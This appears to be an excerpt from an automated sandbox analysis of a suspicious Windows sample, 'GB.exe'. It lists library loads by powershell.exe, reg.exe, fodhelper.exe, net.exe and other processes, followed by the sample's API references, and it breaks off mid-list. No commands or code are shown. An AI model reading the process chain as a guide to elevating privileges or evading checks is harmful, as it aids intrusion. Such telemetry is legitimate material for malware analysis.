"powershell.exe" called "LoadLibrary" with a parameter Kernel32.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter sxs.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter WLDP.DLL (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter ieframe.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\diasymreader.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00002648) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006236) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006236) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006236) "reg.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006236) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007584) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007584) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007584) "reg.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007584) "fodhelper.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004664) "fodhelper.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004664) "fodhelper.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004664) "fodhelper.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004664) "fodhelper.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00004664) "fodhelper.exe" called "LoadLibrary" with a parameter PROPSYS.dll (UID: 00000000-00004664) "fodhelper.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-ole32-l1-1-0.dll (UID: 00000000-00004664) "fodhelper.exe" called "LoadLibrary" with a parameter MLANG.dll (UID: 00000000-00004664) "fodhelper.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-shlwapi-l2-1-0.dll (UID: 00000000-00004664) "fodhelper.exe" called "LoadLibrary" with a parameter WININET.dll (UID: 00000000-00004664) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001944) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001944) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001944) "reg.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001944) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002332) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002332) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002332) "reg.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002332) "test2.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002540) "test2.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002540) "test2.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002540) "test2.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002540) "test2.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00002540) "test2.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00002540) "test2.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00002540) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002596) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002596) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002596) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002596) "net.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007140) "net.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007140) "net.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007140) "net.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007140) "net1.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003496) "net1.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003496) "net1.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003496) "net1.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003496) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\d922445a828b30938c72d375a3b34a60\Microsoft.PowerShell.Commands (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.M870d558a#\5f64880c86c98e7ddecdf28e61917307\Microsoft.Management.Infrastr (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-libraryloader-l1-2-0.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter msvcrt.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Manag (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter Microsoft.Management.Infrastructure.Native.Unmanaged.DLL (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\mi.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-processthreads-l1-1-0.dll (UID: 00000000-00008124) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-handle-l1-1-0.dll (UID: 00000000-00008124)35:Tbdfa,Found reference to API (Indicator: "CheckTokenMembership"; File: "GB.exe") Found reference to API (Indicator: "HeapSetInformation"; File: "GB.exe") Found reference to API (Indicator: "DecryptFileA"; File: "GB.exe") Found reference to API (Indicator: "SHBrowseForFolder"; File: "GB.exe") Found reference to API (Indicator: "SHGetPathFromIDList"; File: "GB.exe") Found reference to API (Indicator: "OpenProcessToken"; File: "GB.exe") Found reference to API (Indicator: "GetTokenInformation"; File: "GB.exe") Found reference to API (Indicator: "RegSetValueExA"; File: "GB.exe") Found reference to API (Indicator: "EqualSid"; File: "GB.exe") Found reference to API (Indicator: "RegQueryValueExA"; File: "GB.exe") Found reference to API (Indicator: "LookupPrivilegeValueA"; File: "GB.exe") Found reference to API (Indicator: "RegCreateKeyExA"; File: "GB.exe") Found reference to API (Indicator: "RegOpenKeyExA"; File: "GB.exe") Found reference to API (Indicator: "RegQueryInfoKeyA"; File: "GB.exe") Found reference to API (Indicator: "RegDeleteValueA"; File: "GB.exe") Found reference to API (Indicator: "AllocateAndInitializeSid"; File: "GB.exe") Found reference to API (Indicator: "FreeSid"; File: "GB.exe") Found reference to API (Indicator: "AdjustTokenPrivileges"; File: "GB.exe") Found reference to API (Indicator: "RegCloseKey"; File: "GB.exe") Found reference to API (Indicator: "lstrcmpA"; File: "GB.exe") Found reference to API (Indicator: "FreeLibrary"; File: "GB.exe") Found reference to API (Indicator: "GetCurrentProcess"; File: "GB.exe") Found reference to API (Indicator: "GlobalLock"; File: "GB.exe") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; File: "GB.exe") Found reference to API (Indicator: "GetWindowsDirectoryA"; File: "GB.exe") Found reference to API (Indicator: "GlobalAlloc"; File: "GB.exe") Found reference to API (Indicator: "GetPrivateProfileIntA"; File: "GB.exe") Found reference to API (Indicator: "GetFileAttributesA"; File: "GB.exe") Found reference to API (Indicator: "IsDBCSLeadByte"; File: "GB.exe") Found reference to API (Indicator: "GetSystemDirectoryA"; File: "GB.exe") Found reference to API (Indicator: "GlobalUnlock"; File: "GB.exe") Found reference to API (Indicator: "GetShortPathNameA"; File: "GB.exe") Found reference to API (Indicator: "CreateDirectoryA"; File: "GB.exe") Found reference to API (Indicator: "FindFirstFileA"; File: "GB.exe") Found reference to API (Indicator: "GetLastError"; File: "GB.exe") Found reference to API (Indicator: "GetProcAddress"; File: "GB.exe") Found reference to API (Indicator: "RemoveDirectoryA"; File: "GB.exe") Found reference to API (Indicator: "SetFileAttributesA"; File: "GB.exe") Found reference to API (Indicator: "GlobalFree"; File: "GB.exe") Found reference to API (Indicator: "FindClose"; File: "GB.exe") Found reference to API (Indicator: "GetPrivateProfileStringA"; File: "GB.exe") Found reference to API (Indicator: "LoadLibraryA"; File: "GB.exe") Found reference to API (Indicator: "LocalAlloc"; File: "GB.exe") Found reference to API (Indicator: "WritePrivateProfileStringA"; File: "GB.exe") Found reference to API (Indicator: "GetModuleFileNameA"; File: "GB.exe") Found reference to API (Indicator: "FindNextFileA"; File: "GB.exe") Found reference to API (Indicator: "CompareStringA"; File: "GB.exe") Found reference to API (Indicator: "CloseHandle"; File: "GB.exe") Found reference to API (Indicator: "LocalFree"; File: "GB.exe") Found reference to API (Indicator: "DeleteFileA"; File: "GB.exe") Found reference to API (Indicator: "ExitProcess"; File: "GB.exe") Found reference to API (Indicator: "DosDateTimeToFileTime"; File: "GB.exe") Found reference to API (Indicator: "CreateFileA"; File: "GB.exe") Found reference to API (Indicator: "FindResourceA"; File: "GB.exe") Found reference to API (Indicator: "SetFilePointer"; File: "GB.exe") Found reference to API (Indicator: "FreeResource"; File: "GB.exe") Found reference to API (Indicator: "LoadResource"; File: "GB.exe") Found reference to API (Indicator: "WaitForSingleObject"; File: "GB.exe") Found reference to API (Indicator: "SetEvent"; File: "GB.exe") Found reference to API (Indicator: "GetModuleHandleW"; File: "GB.exe") Found reference to API (Indicator: "FormatMessageA"; File: "GB.exe") Found reference to API (Indicator: "SetFileTime"; File: "GB.exe") Found reference to API (Indicator: "WriteFile"; File: "GB.exe") Found reference to API (Indicator: "GetDriveTypeA"; File: "GB.exe") Found reference to API (Indicator: "GetVolumeInformationA"; File: "GB.exe") Found reference to API (Indicator: "TerminateThread"; File: "GB.exe") Found reference to API (Indicator: "SizeofResource"; File: "GB.exe") Found reference to API (Indicator: "CreateEventA"; File: "GB.exe") Found reference to API (Indicator: "GetExitCodeProcess"; File: "GB.exe") Found reference to API (Indicator: "CreateProcessA"; File: "GB.exe") Found reference to API (Indicator: "ReadFile"; File: "GB.exe") Found reference to API (Indicator: "SetCurrentDirectoryA"; File: "GB.exe") Found reference to API (Indicator: "GetTempFileNameA"; File: "GB.exe") Found reference to API (Indicator: "ResetEvent"; File: "GB.exe") Found reference to API (Indicator: "LockResource"; File: "GB.exe") Found reference to API (Indicator: "GetSystemInfo"; File: "GB.exe") Found reference to API (Indicator: "LoadLibraryExA"; File: "GB.exe") Found reference to API (Indicator: "CreateMutexA"; File: "GB.exe") Found reference to API (Indicator: "GetCurrentDirectoryA"; File: "GB.exe") Found reference to API (Indicator: "GetVersionExA"; File: "GB.exe") Found reference to API (Indicator: "GetVersion"; File: "GB.exe") Found reference to API (Indicator: "GetTempPathA"; File: "GB.exe") Found reference to API (Indicator: "CreateThread"; File: "GB.exe") Found reference to API (Indicator: "LocalFileTimeToFileTime"; File: "GB.exe") Found reference to API (Indicator: "Sleep"; File: "GB.exe") Found reference to API (Indicator: "GetDeviceCaps"; File: "GB.exe") Found reference to API (Indicator: "GetDesktopWindow"; File: "GB.exe") Found reference to API (Indicator: "CharPrevA"; File: "GB.exe") Found reference to API (Indicator: "ExitWindowsEx"; File: "GB.exe") Found reference to API (Indicator: "CharNextA"; File: "GB.exe") Found reference to API (Indicator: "CharUpperA"; File: "GB.exe") Found reference to API (Indicator: "MessageBeep"; File: "GB.exe") Found reference to API (Indicator: "LoadStringA"; File: "GB.exe") Found reference to API (Indicator: "CallWindowProcA"; File: "GB.exe") Found reference to API (Indicator: "EnableWindow"; File: "GB.exe") Found reference to API (Indicator: "SetWindowTextA"; File: "GB.exe") Found reference to API (Indicator: "DispatchMessageA"; File: "GB.exe") Found reference to API (Indicator: "SetWindowLongPtrA"; File: "GB.exe") Found reference to API (Indicator: "ShowWindow"; File: "GB.exe") Found reference to API (Indicator: "SetWindowPos"; File: "GB.exe") Found reference to API (Indicator: "ReleaseDC"; File: "GB.exe") Found reference to API (Indicator: "PeekMessageA"; File: "GB.exe") Found reference to API (Indicator: "MessageBoxA"; File: "GB.exe") Found reference to API (Indicator: "GetDC"; File: "GB.exe") Found reference to API (Indicator: "SendMessageA"; File: "GB.exe") Found reference to API (Indicator: "SetForegroundWindow"; File: "GB.exe") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; File: "GB.exe") Found reference to API (Indicator: "GetWindowLongPtrA"; File: "GB.exe") Found reference to API (Indicator: "GetWindowRect"; File: "GB.exe") Found reference to API (Indicator: "VerQueryValueA"; File: "GB.exe") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; File: "GB.exe") Found reference to API (Indicator: "GetFileVersionInfoA"; File: "GB.exe") Found reference to API (Indicator: "GetStartupInfoW"; File: "GB.exe") Found reference to API (Indicator: "RtlCaptureContext"; File: "GB.exe") Found reference to API (Indicator: "RtlLookupFunctionEntry"; File: "GB.exe") Found reference to API (Indicator: "RtlVirtualUnwind"; File: "GB.exe") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "GB.exe") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "GB.exe") Found reference to API (Indicator: "TerminateProcess"; File: "GB.exe") Found reference to API (Indicator: "OutputDebugStringA"; File: "GB.exe") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "GB.exe") Found reference to API (Indicator: "GetCurrentProcessId"; File: "GB.exe") Found reference to API (Indicator: "GetCurrentThreadId"; File: "GB.exe") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "GB.exe") Found reference to API (Indicator: "GetTickCount"; File: "GB.exe") Found reference to API (Indicator: "EnumResourceLanguagesA"; File: "GB.exe") Found reference to API (Indicator: "MulDiv"; File: "GB.exe") Found reference to API (Indicator: "GetDiskFreeSpaceA"; File: "GB.exe") Found reference to API (Indicator: "GetSystemMetrics"; File: "GB.exe") Found reference to API (Indicator: "CheckTokenMembership"; Source: "00000000-00001640.00000001.69198.987B1000.00000020.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00001640.00000001.69198.987B1000.00000020.mdmp") Found reference to API (Indicator: "DecryptFileA"; Source: 